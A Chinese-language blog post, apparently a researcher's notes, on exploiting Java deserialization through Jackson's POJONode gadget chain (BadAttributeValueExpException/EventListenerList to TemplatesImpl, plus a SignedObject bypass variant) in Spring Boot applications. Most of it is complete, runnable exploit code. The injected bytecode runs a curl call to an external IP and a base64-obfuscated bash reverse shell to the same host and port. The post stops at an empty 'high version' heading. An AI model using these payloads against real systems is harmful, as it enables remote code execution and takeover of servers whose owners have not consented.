Last updated on September 27, 2024 am
介绍
POJONode是jackson库中的一个类,而jackson是一个用于处理 JSON 数据的 Java 库,广泛应用于 Spring Boot 中进行 JSON 序列化和反序列化,springboot本身就自带了jackson依赖,如果不是springboot就可能要自己添加jackson为依赖。
Spring Boot 的起始器(starter-web)依赖也会自动包含这个库。(复现这条链的时候就要用)
利用链
BadAttributeValueExpException.toString -> POJONode.toString -> jackson反序列化->getter
EventListenerList.toString -> POJONode.toString-> jackson反序列化->getter
要调用哪个对象的getter就把他传给POJONode
可以在前面加上其他链,使得其他链连接到这条链就可以利用了
在序列化时,要重写com.fasterxml.jackson.databind.node.BaseJsonNode:把里面的writeReplace注释掉,才能够序列化成功。
分析
JackSon序列化会触发getter,是由于jackSon中将对象序列化成一个json串主要是使用的ObjectMapper#writeValueAsString
方法,
writeValueAsString会通过遍历的方法将bean对象中的所有的属性的getter方法进行调用。例子如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package com.example.demo;
public class Person { private String name; private int age; public Person(String name, int age) { this.name = name; this.age = age; } public String getName() { System.out.println("getName"); return name; } public int getAge() { System.out.println("getAge"); return age; } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package com.example.demo;
import com.fasterxml.jackson.databind.ObjectMapper;
public class Test { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper();
Person person = new Person("fru1ts",20);
String jsonString = mapper.writeValueAsString(person); System.out.println("Serialized JSON: " + jsonString); } }
|
而POJOnode继承自ValueNode,ValueNode继承自BaseJsonNode,BaseJsonNode的toString为
1 2 3
| public String toString() { return InternalNodeMapper.nodeToString(this); }
|
跟进nodeToString
会调用ObjectWriter的writeValueAsString,而ObjectWriter的writeValueAsString和ObjectMapper的writeValueAsString功能是一样的,所以能够触发任意getter。
BadAttributeValueExpException触发toString
1 2 3 4 5 6 7 8
| BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp,"val", jsonNodes);
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); }
|
EventListenerList触发toString
1 2 3 4 5 6 7 8 9 10 11
| EventListenerList eventListenerList = new EventListenerList(); UndoManager undoManager = new UndoManager(); Vector vector = (Vector) getFieldValue(undoManager, "edits"); vector.add(jsonNodes); setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
private static Object getFieldValue(Object obj, String field) throws Exception{ Field f = obj.getClass().getSuperclass().getDeclaredField(field); f.setAccessible(true); return f.get(obj); }
|
低版本(jdk8)
低版本的com.sun.*
包可以直接调用,高版本com.sun.*
包是没有暴露出来的。
低版本BadAttributeValueExpException
的val
类似是Object
,而高版本限制为String
导致不能利用。
低版本_factory
的属性值可以是null,而高版本_factory
的属性值不能是null
TemplatesImpl链
1
| POJONode::toString->InternalNodeMapper::nodeToString->ObjectWriter::writeValueAsString->ObjectWriter::_writeValueAndClose->ObjectWriter::serialize->DefaultSerializerProvider::serializeValue->DefaultSerializerProvider::_serialize->SerializableSerializer::serialize->POJONode::serialize->SerializerProvider::defaultSerializeValue->BeanSerializer::serialize->BeanSerializer::serializeFields->BeanPropertyWriter::serializeAsField
|
到这里可以任意调用TemplatesImpl的任意getter,接着
1
| TemplatesImpl::getOutputProperties->TemplatesImpl::newTransformer->TemplatesImpl::getTransletInstance
|
然后执行到
1
| AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance()
|
在newInstance()会类加载TemplatesImpl的_bytecodes
的恶意字节(具体原因暂时不知道为什么)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package com.example.demo;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Base64;
public class EXP { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass); ctcconstructor.setBody("Runtime.getRuntime().exec(\"curl http://8.138.10.69:9090\");"); ctClass.addConstructor(ctcconstructor); byte[] bytes = ctClass.toBytecode(); Templates templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "xxx"); setFieldValue(templatesImpl, "_tfactory", null); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); POJONode jsonNodes = new POJONode(proxy); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp,"val", jsonNodes); System.out.println(serial(exp)); deserial(serial(exp)); }
public static String serial(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close(); String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String; }
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
SignObject链
这是TemplatesImpl链的二次反序列化,可以用于绕过一些过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package com.example.demo;
import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.security.*; import java.util.Base64;
public class EXP { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor ctcconstructor = new CtConstructor(new CtClass[]{},ctClass); ctcconstructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC4xMC42OS85MDkwIDA+JjE=}|{base64,-d}|{bash,-i}\");"); ctClass.addConstructor(ctcconstructor); ctClass.getClassFile().setMajorVersion(49); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "1"); setFieldValue(templatesImpl, "_tfactory", null); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); POJONode jsonNodes1 = new POJONode(proxy); BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null); setFieldValue(exp2,"val",jsonNodes1); KeyPairGenerator keyPairGenerator= KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA"); SignedObject signedObject = new SignedObject(exp2,privateKey,signingEngine); POJONode jsonNodes = new POJONode(signedObject); BadAttributeValueExpException exp = new BadAttributeValueExpException(null); setFieldValue(exp,"val",jsonNodes); System.out.println(serial(exp));
}
public static String serial(Object o) throws IOException, NoSuchFieldException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray()); return base64String;
}
public static void deserial(String data) throws Exception { byte[] base64decodedBytes = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } private static void setFieldValue(Object obj, String field, Object arg) throws Exception{ Field f = obj.getClass().getDeclaredField(field); f.setAccessible(true); f.set(obj, arg); } }
|
【Web】浅聊Jackson序列化getter的利用——POJONode-CSDN博客
Jackson的原生反序列化利用 | Java (gitbook.io)
TemplatesImpl利用链分析 - seizer-zyx - 博客园 (cnblogs.com)
高版本